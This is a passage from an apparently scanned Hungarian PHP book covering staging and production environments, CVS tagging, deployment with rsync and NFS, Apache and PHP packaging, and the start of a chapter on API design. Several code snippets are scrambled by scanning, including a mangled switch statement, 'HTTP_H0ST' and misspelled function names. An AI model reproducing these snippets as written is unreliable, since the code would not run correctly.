ellenőrizni, hogy helyesen működik-e, majd átvinni az üzemi gépekre. A tesztelés mértéke vállalatonként különböző lehet. Persze az lenne az ideális, ha minden program teljes minőségbiztosítási vizsgálaton (QA, quality assurance) esne át, ahol összehasonlítják valamennyi használati esettel, amelyek leírják, hogyan kell a rendszernek működnie, de a legtöbb helyen nincs QA csapat, sőt, használati eseteket sem állítanak össze. Mindenesetre általános szabály, hogy minél többször ellenőrizzük a szoftvert, annál jobb. Én mindig próbálom legalább egy, a fejlesztésben részt nem vett kívülállóval átnézetni az eredményt, mielőtt kibocsátanám a programot. Ez az egyik legjobb módja annak, hogy olyan hibákat találjunk, amelyek felett azért siklottunk el, mert mi tudjuk, hogyan „nem szabad" használni az adott alkalmazást. Általában is érvényes, hogy saját munkánknak nem vagyunk jó kritikusai, nem csak a programozást illetően: ezért van például a könyveknek szerkesztője. Miután a stage. example. com-on a tesztelés sikeres volt, a kódot kibocsátjuk a www. example. com-ra. Az üzemi kódot soha nem módosítjuk közvetlenül; a sürgős javításokat a próbakiszolgálón végezzük el, visszavisszük a HEAD ágba, majd a teljes kipróbált tartalmat bocsátjuk az üzemi környezetbe. Ha üzem közben hajtanánk végre közvetlen változtatásokat, a kód rendkívül nehezen kezelhetővé válna, és arra bátorítana, hogy a változatkezelő rendszeren kívül végezzünk módosításokat.

7. fejezet • A fejlesztőkörnyezet kezelése

209

Több adatbázis fenntartása A többszintű fejlesztési környezet fenntartásának egyik kellemetlen velejárója, hogy valószínűleg külön adatbázisokat szeretnénk a fejlesztési és az üzemi fa számára. Ha egyetlen adatbázist használunk mindkettőre, nehéz bármilyen kódot tesztelni, ami táblamódosítást igényel, és nagy az esélye, hogy valamelyik fejlesztő tönkreteszi az üzemi környezetet. A fejlesztési környezet fenntartásának éppen az a célja, hogy legyen egy biztonságos hely, ahol kísérletezhetünk. A hozzáférés szabályozásának legegyszerűbb módja, ha egyes adatbázisok elérésére burkoló osztályokat készítünk, és külön halmazt használunk az üzemi, illetve a fejlesztési környezetben. A könyvben eddig használt adatbázis API például a következő két osztályt tartalmazta: class DB_Mysql_Test extends DB_Mysql { /* és class DB_Mysql_Prod extends DB_Mysql { /* ... */} ... */}

A használni kívánt osztály meghatározásának egyik módja, hogy egyszerűen mereven bekódoljuk egy fájlba, és e fájlból különböző változatokat tartunk fenn a fejlesztéshez és az üzemi környezethez. Viszont ha két példányunk van belőle, nagy a hibázás esélye, különösen ha az ágakat egyesítjük. Sokkal jobb megoldás, ha maga az adatbázis-könyvtár érzékeli automatikusan, hogy próba- vagy üzemi kiszolgálón fut-e: switch($_SERVER['HTTP_H0ST']) case "www.example.com": class DB_Wrapper extends break; case "stage.example.com": class DB_Wrapper extends break; case "dev.example.com": class DB_Wrapper extends default: class DB_Wrapper extends
}

{ DB_Mysql_Prod {}

DB_Mysql_Prod {}

DB_Mysql_Test {} DB_Mysql_Localhost {}

így csak használatba kell vennünk a DB_Wrapper-t, ha név szerint megadnánk egy adatbázist, és maga a könyvtár választja majd ki a megfelelő megvalósítást. Ennek logikáját egy gyártófüggvénybe is építhetjük, amely létrehozza az adatbázis-elérési objektumokat.

210

PHP fejlesztés felsőfokon

Ebben a rendszerben észrevehetünk egy hiányosságot: mivel az üzemi környezet kódja a PROD ág egy adott időpontban készült pillanatfelvétele, nehéz visszaállítani egy korábbi helyes változatra anélkül, hogy ismernénk véglegesítésének és kibocsátásának pontos idejét. Erre a problémára két megoldás létezik: • Minden üzemi kibocsátáshoz külön ágat hozunk létre. • Az üzemi kibocsátások kezeléséhez jelzőcímkéket használunk. Az első megoldás szokványos a dobozos programoknál, ahol a kibocsátások között általában hosszú idő telik el, és a program különböző változataira más-más javításokat kell alkalmazni. Ilyen esetben, ha készen állunk a próbakörnyezetből kibocsátani a kódot, az adott időpont pillanatfelvétele alapján új ágat hozunk létre (például VERSION_1_0_0 néven). Ez a változat aztán a PROD nevű fő próbaágtól függetlenül fejlődhet, megengedve a hibajavításoknak a fő fában levőtől eltérő megvalósítását. Véleményem szerint ez a megoldás a webes alkalmazások esetében több okból sem működik: • Akár tetszik, akár nem, a webes alkalmazások sűrűn változnak, a CVS pedig nem jól tűri, ha ágak százait kell támogatnia. • Mivel a webes alkalmazások kódját nem terjesztjük, kevésbé fontos, hogy képesek legyünk a különböző változatokra más-más módosítást alkalmazni. Mivel minden kapcsolódó kód a mi kezünkben fut össze, egy könyvtárnak ritkán van használatban egyszerre egynél több változata. A másik megoldás, hogy a kibocsátásokat jelzőcímkékkel látjuk el. Ahogy a fejezetben korábban már tárgyaltuk, ezek a címkék csupán arra szolgálnak, hogy a CVS-ben fájlok csoportját láthassuk el egyetlen közös jelzéssel. A jelzőcímke a megadott fájlok adott időpontban legfrissebb változatához egy nevet társít, ami egy ágak nélküli fában tökéletes módja annak, hogy a tárról pillanatfelvételt készítsünk. A jelzőcímkék a CVS-ben nem járnak különösebb költséggel, így nincs különösebb akadálya annak, hogy több százat használjunk belőlük. Ha rendszeres időközönként kell webhelyeket frissítenem, általában a címke létrehozásának dátumát adom meg névként, így olyan címkéket kapok, mint a PROD_2 0 04_01_23_01, ami a 2004. január 23-án létrehozott első címkét jelöli. Beszédes neveket szintén használhatunk, például egy bizonyos eseményre, mondjuk egy új termék kibocsátására utalót. A jelzőcímkék jól használhatók, ha hetente egyszer vagy kétszer bocsátunk üzemi környezetbe egy programot. Ha ennél rendszeresen gyakoribb kódfrissítés szükséges, érdemes fontolóra vennünk a következő lehetőségeket: • A csak a tartalomban végrehajtott változtatásokat önálló tartalomkezelő rendszerbe (CMS, content management system) visszük át, hogy elválasszuk a kódtól. A tartalmat gyakran kell frissíteni, míg a mögötte levő kód általában jóval stabilabb.

7. fejezet • A fejlesztőkörnyezet kezelése

211

• A fejlesztési környezetet összehangoljuk. Ha túl gyakran bocsátunk üzemi környezetbe egy kódot, nehezebb hatékonyan ellenőrizni a módosítások minőségét, ami növeli az üzemi hibák gyakoriságát, ami viszont a hibajavítások gyakoribb kibocsátását igényli, és így tovább a végtelenségig. Ez elsősorban fegyelem kérdése: kevés olyan környezet van, ahol ne lehetne a kódkibocsátást napi egyre, sőt, heti egyre korlátozni.

Megjegyzés

Az egyik szabály, amelynek helyességéről igyekszem minden ügyfelet meggyőzni, hogy nem szabad délután 3 után kódot kibocsátani, pénteken pedig egyáltalán nem. Hibák mindig felbukkannak a kódban, és ha a munkanap végén vagy közvetlenül hétvége előtt bocsátunk ki új kódot, az olyan, mintha felszólítanánk a kalózokat, hogy most keressék a gyenge pontokat, hiszen a fejlesztők már hazamentek. Ha csak napközben helyezünk üzembe kódot, egy váratlan hibánál kéznél lesznek a friss fejlesztők, akik nem az órát figyelik, hogy vajon hazaérnek-e vacsorára.

Csomagkezelés
Most, hogy ismerjük a változatkezelő rendszerek szerepét a fejlesztésben, rátérhetünk az üzemi kód terjesztésére. E könyvnek nem témája a kereskedelmi terjesztés, így amikor a kód terjesztéséről beszélünk, azt értjük alatta, hogy a kész programot a fejlesztési környezetből működő kiszolgálókra helyezzük, amelyek a tényleges szolgáltatást nyújtják. A csomagolás lényeges lépés annak biztosítására, hogy amit a működési környezetbe helyezünk, valóban az, amit szerettünk volna. Sokan egyszerűen egyenként kiteszik a módosított fájlokat a webkiszolgálókra - ami a lehető legrosszabb megoldás. Ez csak kettő a lehetséges problémák közül: • Könnyen szem elől veszíthetjük, mely fájlokat kell a termék üzembe helyezéséhez átmásolnunk. Ha csak hiányzik egy include, azt még könnyű észrevenni, de egy nem frissített include már komoly fejfájást okozhat. • Többkiszolgálós környezetben még összetettebb problémák jelentkezhetnek. Ha leáll egy kiszolgáló, hogyan biztosíthatjuk, hogy minden változásról értesüljön, amikor helyreállítjuk? Még ha minden gép száz százalékosan üzemel is, az emberi tényező folytán rendkívül könnyen alakulhatnak ki következetlenségek a gépek között. A csomagolás nem csak a PHP kódok esetében fontos, hanem a használt kisegítő programok változatainál is. Egy alkalommal egy körülbelül 100 gépből álló PHP kiszolgálófürtöt

212

PHP fejlesztés felsőfokon

üzemeltettem, amelyen számos alkalmazás futott. A PHP 4.0.2-es és 4.0.3-as változata között apró módosítást hajtottak végre a pack () belső működésén. Ennek következtében néhány alapvető hitelesítési eljárás hibásan működött a webhelyen, bosszantó leállást eredményezve. A hibák elkerülhetetlenek, de egy ilyen, teljes webhelyét megbénító hibát még üzembe helyezés előtt észlelni kell és ki kell javítani. A hiba felfedezését az alábbi tényezők nehezítették: • Senki nem olvasta el a 4.0.3-as változat változásnaplóját, így magára a PHP-re nem is gyanakodtunk. • A fürtben többféle PHP-változat volt használatban. Egyes kiszolgálók a 4.0.l-es, mások a 4.0.2-es vagy 4.0.3-as változatot futtatták. Nem volt központosított naplózás, így a véletlenszerűnek tűnő hibákat rendkívül nehéz volt összepárosítani egy adott géppel. Sok más problémához hasonlóan ezek a tényezők persze csak tünetei voltak a rendszer nagyobb hibáinak. Az igazi gondot a következők jelentették: • Nem biztosította rendszer, hogy minden üzemi gépen ugyanaz az Apache és PHP, illetve ugyanazok a támogató könyvtárak legyenek. Ahogy egy kiszolgáló célja változott, vagy a különböző rendszergazdák programokat telepítettek rájuk, minden gépnek önálló egyénisége alakult ki - márpedig egy üzemi gépnek ne legyen egyénisége. • Bár a fejlesztési és üzemi kódot külön fában tároltuk, nem volt próbakörnyezetünk, ahol meggyőződhettünk volna róla, hogy a futtatni kívánt kód tényleg működik az üzemi környezetben. Persze ha az üzemi gépek azonos beállítását sem tudjuk biztosítani, a próbakörnyezet hiánya elhanyagolható. • Mivel nem követtük az egyes rendszereken a PHP-frissítéseket, nem is tudtuk ilyenhez kapcsolni a kód módosítása után jelentkező hibákat. Órákat vesztegettünk el arra, hogy megkeressük, a kód melyik módosítása váltotta ki a hibát. Ha naplóban (lehetőleg ugyanabban a változatkezelő rendszerben, ahol a forráskód is található) rögzítettük volna azt a tényt, hogy egyes gépeken éppen az előző napon frissítettük újabb változatra a PHP-t, a hibakeresés sokkal gyorsabb eredményt hozott volna.

A pack() probléma megoldása

A pack () függvénnyel kapcsolatos problémát is teljesen rosszul kezeltük. Ahelyett, hogy kijavítottuk volna a kódunkat, hogy a függvény minden változatával biztonságosan használható legyen, a pack () belső működésbeli módosulását vontuk vissza magában a PHP forráskódban. Ez akkor jó ötletnek tűnt, hiszen nem kellett különböző esetekhez igazítani a kódunkat, és a visszirányú megfelelőséget is megőriztük.

7. fejezet • A fejlesztőkömyezet kezelése

213

Végül azonban kiderült, nem is hozhattunk volna rosszabb döntést. A PHP forráskód „kijavításával" azt értük el, hogy minden alkalommal, amikor frissítettük a PHP-t, újra el kellett végeznünk a módosítást, és ha elfelejtettük a javítófoltot, a hitelesítési hibák rejtélyes módon újra felbukkantak. Hacsak nincs egy külön csapatunk, akik a használt infrastruktúra karbantartásával foglalkoznak, kerüljük a PHP belső működését módosító változtatásokat az üzemelő webhelyen.

A kód csomagolása és kibocsátása A kód kibocsátása a próbakörnyezetből az üzemi környezetbe nem nehéz. A legnehezebb rész a kiadások változatszámmal való ellátása, amit - mint az előző részből megtudhattuk - CVS címkékkel és ágakkal tehetünk meg. Ezenkívül nem marad más, mint egy hatékony eszköz megtalálása az állományok fizikai áthelyezésére a próbakörnyezetből az üzemi gépekre. A PHP fájlok áthelyezésével kapcsolatban van egy aprócska gond. A PHP minden fájlt feldolgoz, amit minden kérelem esetén végre kell hajtania. Ez rossz hatással van a teljesítményre (amivel részletesebben a 9- fejezetben foglalkozunk), és nem teszi túl biztonságossá a fájlok módosítását egy futó PHP példányban. A probléma egyszerű. Tegyük fel például, hogy van egy index. php nevű fájlunk, ami egy könyvtárat emel be:
# index.php <?php require_once "hello.inc"; hello () ; ?>

# hello.inc <?php function hello() { print "Hello World\n";
} ?>

Ezután mindkét állományt így módosítjuk:
# index.php <?php require_once "hello.inc"; hello("George"); ?>

214

PHP fejlesztés felsőfokon

# hello.inc <?php function hello($name) { print "Hello $name\n";
} ?>

Ha valaki a tartalom módosítása közben kéri az index. php-t, annak feldolgozása a változás véglegesítése előtt, a hello. inc állományé viszont utána történik, ezért hibát kapunk, mert a másodperc törtrészéig a prototípusok nem egyeznek. Az, amikor a tartalom azonnal frissül, még a legjobb eset. Ha maga a módosítás is több másodpercet vagy percet vesz igénybe, a következetlenség egész idő alatt fennállhat. A legjobb megoldás erre a problémára a következő: 1. A módosítást kibocsátó módszer a lehető leggyorsabb legyen. 2. A fájlok tényleges módosítása idejére állítsuk le a webkiszolgáló programot. A második lépés elég drasztikusnak tűnik, de szükséges, ha az oldalon megjelenő hiba nem elfogadható. Ha ez a helyzet, valószínűleg érdemes tartalék gépfürtöt üzemeltetni, és a leállást nem engedélyező összehangolást alkalmazni, amiről a 15. fejezet végén ejtünk szót.

Megjegyzés

A 9- fejezetben a fordítói gyorstárakat is tárgyaljuk, amelyek megakadályozzák a PHP fájlok újbóli feldolgozását. Minden ilyen tár beépített képességekkel rendelkezik annak megállapítására, hogy a fájlok megváltoztak-e, és szükség van-e új feldolgozásra. Ez egyben azt is jelenti, hogy az include említett következetességi problémája ezeket a tárakat is érinti.

A kód próbakörnyezetből üzemi környezetbe helyezésére több megoldás is kínálkozik: • • • • • tar és ftp/scp PEAR csomagformátum cvs update rsync NFS

7. fejezet • A fejlesztőkörnyezet kezelése

215

A tar használata szokványos választás, és egyszerű is. A tar-ral egyszerűen létrehozunk egy archívumot a kódból, a fájlt a célkiszolgálóra másoljuk, majd kicsomagoljuk. A tar archívumok segítségével távoli terjesztést végezhetünk (például ha kiadunk vagy eladunk egy alkalmazást), mindazonáltal a tar használata csomagoló eszközként webes környezetben két problémát vet fel: • A tar helyben módosítja a fájlokat, ezért a lemezblokkoknál nagyobb fájlok olvasásakor hibákat tapasztalhatunk. • Nem képes részleges frissítésre, így minden kibocsátáskor a teljes kódfát felülírjuk. Érdekes választás lehet a tar-ral szemben a PEAR csomagformátum használata alkalmazások terjesztésére. Ez sem oldja meg az említett gondokat, de lehetővé teszi, hogy a felhasználók a PEAR telepítő segítségével telepítsék és kezeljék a csomagot. A PEAR csomagformátum legfőbb előnye, hogy megkönnyíti a telepítést (amint az a könyv eddigi PEAR példáiban is láthattuk). A PEAR telepítő használatával kapcsolatban a http: / /pear.php. net címen tájékozódhatunk. Csábító megoldás a kód webkiszolgálókra telepítésére, ha egy CVS segítségével készített kimenő példányt tárolunk az üzemi kiszolgálókon, és a cvs update utasítással frissítjük azt. Ez megoldja a tar-nál említett két gondot: csak az utolsó változat óta végrehajtott módosításokat viszi át, és elkerüli a fájlok helyben frissítésének problémáját, ideiglenes fájlok és atomi áthelyezési műveletek használatával. Ha az üzemi webkiszolgálók közvetlen frissítésére a CVS-t használjuk, azzal csak az a gond, hogy a CVS metaadatoknak jelen kell lenniük a célrendszeren, így webkiszolgálói hozzáférés-szabályozással kell korlátoznunk ezen fájlok elérését. Jobb megoldás, ha az rsync-et használjuk. Az rsync-et kifejezetten könyvtárfák különbségeinek összehangolására tervezték, csak az utolsó változat óta végrehajtott módosításokat viszi át, és ideiglenes fájlokkal garantálja az atomi fájlcserét. Emellett hatékonyan támogatja a korlátozást is, így fájlosztályokat vehetünk fel az összehangolandó adatok közé, vagy fájlokat távolíthatunk el onnan. Ez azt jelenti, hogy a CVS metaadatfájlokat még akkor is kihagyhatjuk, ha az adatok forrásfája egy CVS munkakönyvtár. Az állományok több kiszolgálóra való átvitelének másik népszerű módja, amikor NFS-en keresztül terjesztjük azokat. Az NFS-sel kényelmesen biztosítható, hogy minden kiszolgáló azonnal másolatot kapjon a frissített állományokból. Alacsony vagy mérsékelt forgalom esetén ez a módszer kitűnően működik, de nagyobb terhelésnél az NFS-ben jelen levő késleltetés gondot okozhat. Ahogy korábban már említettük, az a gond, hogy a PHP minden futtatandó fájlt minden végrehajtáskor feldolgoz, így a forrásfájlok olvasása jelentős mennyiségű lemezolvasási és -írási művelettel járhat. Amikor a fájlokat NFS-en keresztül adjuk ki, a szükséges idő és a forgalom tovább nő. A probléma minimálisra csökkenthető, ha fordítói gyorstárat használunk.

216

PHP fejlesztés felsőfokon

Egy ideje azt a módszert alkalmazom az NFS kiszolgálók terhelésének csökkentésére, hogy vegyítem a fent említett eljárásokat. Minden kiszolgálómon NFS-befűzésű a kód, de ezt a példányt nem közvetlenül érik el. Ehelyett az NFS-sel befűzött fájlokat az rsync-kel egy helyi állományrendszerre (lehetőleg egy memória alapú állományrendszerre, amilyen például a Linux tmpf s vagy ramf s) másolják. Van egy bűvös szemaforfájl, ami csak akkor frissül, ha tartalmat kell összehangolni, az rsync-ket futtató program pedig e fájl változó időbélyegéből tudja, hogy össze kell hangolnia a könyvtárfákat. így az rsync-nek nem kell folyamatosan futnia, ami leterhelné az NFS kiszolgálót. Bináris állományok csomagolása Ha többkiszolgálós telepítést futtatunk, az alkalmazás futtatásához szükséges valamennyi programot is csomagolnunk kell. A PHP alkalmazáskezelés ezen részét gyakran elfelejtik, különösen az olyan környezetekben, amelyek eredetileg egyetlen gépre épültek. A többféle gépbeállítás engedélyezése látszólag nem okoz gondot. Az alkalmazások legtöbbször hiba nélkül futnak, de a csak ritkán jelentkező hibák ijesztőek. Senki sem sejti, hogy a webhely rejtélyes hibáit egy másik rendszermagváltozat okozza, vagy egy Apache modul, amit az egyik rendszeren megosztott objektumként, a másikon viszont statikusan beszerkesztve fordítottak le. Amikor a bináris rendszerállományokat csomagolom, majdnem mindig a futtatott operációs rendszer natív csomagformátumát használom. Használhatunk tar archívumokat vagy egy mesterfelvételt a kiszolgálóról, amit az rsync-kel átvihetünk az állomásokra, de egyik módszer sem pótolhatja a Red Hat rpm vagy a FreeBSD pkg formátum könnyű kezelhetőségét. Amikor ebben a részben az RPM kifejezést használom, egyszerűen csomagolt szoftvert értek alatta, tehát ki-ki helyettesítse be gondolatban az általa előnyben részesített formátumot. Egyik itt tett megállapítás sem kizárólagosan magára az RPM formátumra érvényes. Azt javaslom, ne használjunk tömbszerű csomagokat. Készítsünk külön csomagokat a PHP, az Apache és minden más lényegesebb alkalmazás számára, amit használunk. A tapasztalat azt mutatja, hogy ez nagyobb rugalmasságot ad, amikor új kiszolgálófürtöt állítunk össze. Az igazi előny, ami a rendszer csomagoló rendszerének használatából ered, az, hogy könnyen biztosítható az egyes gépeken futó programok azonossága. Korábban én is használtam tar archívumokat binárisok terjesztésére, és rendben működtek. A gond csak az volt, hogy könnyű volt elfelejteni, melyik tar csomagot is telepítettem. Ennél is rosszabb volt a helyzet, ha minden gépen mindent forrásból telepítettünk. Hiába igyekeztünk mindent összehangolni, a gépek között apró különbségek alakultak ki, ami egy nagyméretű környezetben elfogadhatatlan.

7. fejezet • A fejlesztőkömyezet kezelése

217

Az Apache csomagolása
Az általam használt Apache-változatok binárisai általában minden gépen szabványosak. Szeretem, ha az Apache modulok (a mod_php-t is beleértve) megosztott objektumok, mert az ezáltal elérhető „plug and play" szolgáltatás igen kényelmes. Emellett úgy vélem, azok a teljesítménnyel kapcsolatos aggályok, amelyeket az Apache modulok megosztott objektumként való használata kapcsán emlegetnek, túlzottak. Éles kódnál még soha nem sikerült semmilyen lényeges teljesítménycsökkenést kimutatnom. Mivel egyfajta „Apache-hacker" vagyok, gyakran teszek a csomagba néhány saját modult, amelyek eredetileg nem képezik az Apache részét. Ilyen például a mod_backhand, a mod_log_spread, illetve más modulok egyéni változatai. Két webkiszolgálói RPM használatát ajánlom. Az egyik magát a mod_so-val felépített webkiszolgálót tartalmazza (a beállító fájl kivételével), illetve a megosztott objektumként használt szabványos modulokat, a másik az Apache magjával nem terjesztett egyéni modulokat. A kettő elválasztásával egyszerűen frissíthetjük az Apache-telepítést, anélkül, hogy meg kellene keresnünk és újra kellene építenünk minden nem szabványos modult. Mindezt az teszi lehetővé, hogy az Apache Group kiváló munkát végez a változatok közötti bináris megfelelőség biztosítására. Az Apache frissítésekor általában nincs szükség a dinamikusan betölthető modulok újraépítésére. Minthogy az Apache ilyen felépítése moduláris, a beállítófájl létfontosságú ahhoz, hogy a program elvégezhesse a kívánt feladatokat. Az Apache kiszolgáló általános, az egyes szolgáltatások viszont egyediek, ezért a beállításokat célszerű külön csomagolni a binárisoktól. Az Apache lényegi része az alkalmazásaimnak, ezért httpd. conf állományaimat ugyanabban a CVS tárban tárolom, mint az alkalmazások kódját, és innen másolom őket a helyükre. A helyes Apache-beállítás egyik alapszabálya, hogy általánosan fogalmazzunk a beállításnál. Gyakran megfeledkeznek róla, hogy az Apache beállítófájlban helyileg feloldható gépneveket is használhatunk IP literálok helyett. Tegyük fel, hogy minden webkiszolgálónak meg kell adnunk a következő sort, amelyben az N minden kiszolgálón különböző: Listen 1 0 . 0 . 0 . N : 8 0 0 0 Ahelyett, hogy magunk írnánk át saját kezűleg minden kiszolgáló httpd. conf állományát, használhatunk egy állandó álnevet az /etc/hosts fájlban az ilyen címekhez. A következő sorral például minden gépen beállíthatunk egy externalether álnevet: 10.0.0.1 externalether A httpd. conf Listen sorából ezek után ez lesz:
Listen externalether:8000

218

PHP fejlesztés felsőfokon

Mivel a gépek IP címének kevésbé gyakran szabad változnia, mint a webkiszolgáló beállításainak, az álnevek használatával az egész kiszolgálófürtben biztosíthatjuk a httpd. conf állomány azonosságát. Ne csatoljuk azokat a modulokat, amelyekre nincs szükségünk. Ne feledjük, hogy a beállítófájlt egy adott szolgáltatáshoz igazítjuk: ha annak nem kell a mod_rewrite, ne töltsük be.

A PHP csomagolása
A mod_php és a tőle függő könyvtárak kezelésére vonatkozó szabályok hasonlóak az Apache szabályaihoz. Készítsünk egyetlen mesterpéldányt, ami azokat a szolgáltatásokat és telepítési követelményeket tükrözi, amelyekre minden működtetett számítógépnek szüksége van. Ezután csatoljunk hozzá kiegészítő csomagokat, amelyek a nem szabványos szolgáltatásokat tartalmazzák. Ne feledjük, hogy a PHP bővítményeket dinamikusan is betölthetjük, ha megosztott objektumként építjük fel azokat, és a következő sorral töltjük be a php. ini fájlban: extension = my_extension.so A PHP egyik érdekes (de gyakran elfeledett) beállítási lehetősége a conf ig-dir támogatása. Tegyük fel, hogy a PHP-t a conf igure --with-config-file-scan-dir kapcsolójával telepítjük: ./configure [ options ] --with-config-file-scan~dir=/path/to/configdir A fenti beállítás esetén a PHP indításkor (a fő php .ini fájl feldolgozása után) végigpásztázza a megadott könyvtárat, és automatikusan (ábécésorrendben) betölt minden fájlt, amelynek kiterjesztése . ini. Ez a gyakorlatban azt jelenti, hogy ha egy bővítményhez szabványos beállítások tartoznak, beállítófájlt írhatunk kifejezetten e bővítmény számára, és magához a bővítményhez csatolhatjuk, így a beállítások nem szóródnak szét.

Több ini érték

Egy kulcs többször is ismétlődhet a php. ini állományokban, de mindig az utolsó kulcs-érték pár használatára kerül sor.

7. fejezet • A fejlesztőkörnyezet kezelése

219

További olvasmányok
A CVS-sel kapcsolatban további információkat a következő helyeken találhatunk: • A CVS projekt központi webhelye, a http: / /www. cvshome. org rengeteg információt tartalmaz a CVS használatával és fejlesztésével kapcsolatban. A CVS The Cederqvist című elektronikus kézikönyve, amelyet megtalálhatunk a webhelyen, kiváló bevezető. • Moshe Bar és Kari Fogelis Open Source Development with CVS című könyve remek tárgyalása a CVS-sel történő fejlesztésnek. • Az RPM-mel történő csomagkészítés elsődleges forrása a Red Hat webhelyen, a http: / /rpm. redhat. com/RPM-HOWTO címen érhető el. Ha más operációs rendszert használunk, annak dokumentációjában érdemes utánanéznünk a natív csomagok építésének. • Az rsync kapcsolóit megtaláljuk az operációs rendszer megfelelő súgóoldalain (man). Részletesebb példák és megvalósítások az rsync honlapján, a http: //samba.anu. edu. au/rsync címen találhatók.

Hogyan tervezzünk jó API-t?
Mitől lesz egy kód jó, és mitől egy másik rossz? Ha egy kód helyesen működik és nincsenek benne hibák, jó kód? Személyes véleményem szerint nem. Egyetlen kód sem elszigetelt, és eredeti alkalmazásán túl is fennmarad, így a minőség megállapításánál ezeket a tényezőket is figyelembe kell venni. Saját meghatározásom szerint egy jó kódnak az alábbihoz hasonló tulajdonságokkal kell rendelkeznie: • • • • • Könnyű karbantartani. Könnyű más környezetben újrahasznosítani. A lehető legkevesebb külső függőséggel rendelkezik. Új feladatokhoz igazítható. Viselkedése megjósolható és biztonságos.

Ha a listát tovább szűkítjük, az alábbi három jellemzőt kapjuk: • újraépíthető, • bővíthető, • védekező.

Alulról felfelé és felülről lefelé tervezés

A tervezés létfontosságú a szoftverfejlesztésben. A témakör igen nagy, így ebben a fejezetben csak a felszínt kapargatjuk meg. Szerencsére számos kitűnő könyvet találunk a témában, melyek közül kettőt a További olvasmányok részben meg is említünk a fejezet végén. Általánosságban elmondható, hogy a tervezés módját két kategóriába sorolhatjuk: alulról felfelé tervezés és felülről lefelé tervezés.

222

PHP fejlesztés felsőfokon

Az alulról felfelé történő tervezésre az jellemző, hogy már a tervezés elején írunk kódot. Azonosítjuk az alapvető alacsonyszintű elemeket, megkezdjük megvalósításukat, majd ha elkészültek, összekötjük azokat. Az ilyen tervezés három ok miatt lehet vonzó: • Nehéz egy teljes projekt folyamán elvontan dolgozni. • Mivel azonnal elkezdjük írni a kódot, gyorsan terjeszthető anyaghoz jutunk. • A tervezési változásokat könnyebb követni, mert az alacsonyszintű elemeket ezek kevésbé érintik. Az alulról felfelé tervezés hátránya, hogy az alacsonyszintű elemek külső felülete az összeépítés során gyakran drasztikus változáson megy keresztül. Ez azt jelenti, hogy a munka ugyan kezdetben gyors eredményt hoz, de a végén egyre többször lesz szükség újratervezésre. Felülről lefelé tervezéskor először az egész alkalmazást alrendszerekre bontjuk, majd az alrendszereket elemekre, és csak amikor a teljes rendszert megterveztük, akkor valósítjuk meg a függvényeket és osztályokat. Az ilyen tervezés előnyei a következők: • Hamar stabil felületet kapunk. • Az elemek biztosan illeszkedni fognak egymáshoz, így kevesebbszer kell újratervezni azokat, mint az alulról felfelé tervezésnél.

Újraépíthetőség és bővíthetőség
Sok programozó számára nem magától értetődő, hogy jobb egy stabil felület egy gyengébb megvalósítással, mint egy rosszul tervezett API jobban megírt kóddal. Tény, hogy az általunk írt kódot felhasználják majd más programokban, és saját életét kezdi élni. Ha a felületet jól terveztük meg, a kód mindig újraépíthető, hogy javítsuk teljesítményét, de ha rosszul, minden változtatásnál módosítanunk kell valamennyi kódot, ami a felületet használja. Könnyen újraépíthető kódot írni létfontosságú ahhoz, hogy újrahasznosítható és karbantartható programot kapjunk. De hogyan tervezzük meg a kódot, hogy könnyen újraépíthető legyen? A kulcsot többek között a következők jelentik: • A logika függvényekbe zárása. • Egyszerű osztályok és függvények, amelyek építőkockaként szolgálnak.

8. fejezet • Hogyan tervezzünk jó API-t?

223

• Névterek használata a kód egységekre bontásához. • A kódban levő függőségek csökkentése.

A logika függvényekbe zárása
A kódot újrahasznosíthatóbbá és kezelhetőbbé tevő egyik legfontosabb módszer a logika függvényekbe helyezése. A következő példa rávilágít, miért is fontos ez. Egy marylandi üzlet úgy dönt, hogy termékeit az Interneten is kínálja. A marylandi lakosoknak helyi adót kell fizetniük a boltban vásárolt termékek után, így a programban ehhez hasonló kódblokkokat találunk:
$tax = ($user->state == 'M D') ? 0.05*$price : 0;

Ez csak egyetlen sor, alig több karakter, mintha minden adatot egy segédfüggvénynek adnánk át. Bár az adót eredetileg csak a megrendelő oldalon tüntetjük fel, hamarosan megjelenik a hirdetésekben és az akciós oldalakon is. Biztosan látjuk az elkerülhetetlent. Két dologra számíthatunk: • Maryland új adókulcsokat vezet be. • A cég úgy dönt, hogy Pennsylvaniában is üzletet nyit, és az ottani lakosoknak is kiszámítja a forgalmi adót. Ha bármelyik bekövetkezik, a fejlesztőnek rohammunkában meg kell találnia minden helyet a kódban, ahol az adószámítás történik, és módosításokat kell eszközölnie, hogy a kód tükrözze az új szabályokat. Egyetlen hely kihagyása is komoly (akár jogi) következményekkel járhat. Mindezt elkerülhetjük, ha az adó kiszámítását végző aprócska kódot egy függvénybe zárjuk, íme egy egyszerű példa: function Commerce_calculateStateTax($state,
{

$price)

switch($state) { case 'MD': return 0.05 * $price; break; case ' PA' : return 0.06 * $price; break; default: return 0; }

Persze ez a megoldás eléggé rövidlátó: feltételezi, hogy az adót csak a vásárló lakhelye (state, állam) befolyásolja, pedig a valóságban más szempontokat is figyelembe kell venni (például lehetnek olyanok, akik adómentességet élveznek). Jobb megoldás, ha készítünk egy függvényt, amelynek bemenete egy teljes felhasználói rekord, így akkor sem kell újratervezni a programfelületet, ha egyedi státust is figyelembe kell venni. íme egy általánosabb függvény, amely vásárlásnál kiszámítja a forgalmi adót: function Coinmerce_caclulateTax(User $user,
{

$price)

return Commerce_calculatestateTax($user->state, $price);
}

Függvények és teljesítmény a PHP-ben

A könyv olvasása közben, vagy amikor teljesítményhangolási útmutatókat böngészünk az Interneten, gyakran találkozhatunk azzal a megállapítással, hogy a függvények hívása a PHP-ben „lassú", ami arra utal, hogy a függvényhívások többletköltséggel járnak. Ez a költség nem nagy, de ha másodpercenként oldalak százait vagy ezreit szolgáltatjuk, hatása már észrevehető, különösen ha a függvényhívás ciklus szerkezetű. Ezek szerint kerülnünk kell a függvényeket? Egyáltalán nem! Donald Knuth, a számítógéptudomány egyik atyja szerint „a korai optimalizálás minden rossz gyökere". A teljesítményfokozás és -hangolás gyakran növeli a fenntartás költségeit, ezért csak akkor érdemes lenyelnünk ezt a költséget, ha tényleg megéri. Olyan kódot célszerű írni, ami a lehető legkönnyebben módosítható, a programlogikát osztályokba és függvényekbe kell zárnunk, a kód pedig legyen egyszerűen újraépíthető. Működés közben elemezzük a kód hatékonyságát (a IV. részben leírt módszerek segítségével), és építsük újra azokat a részeket, amelyek elfogadhatatlanul költségesek. Ha a kód szervezését a fejlesztés korai szakaszában optimalizáljuk, gyors kódot kapunk ugyan, de a program bővítése és karbantartása lehetetlenné válik.

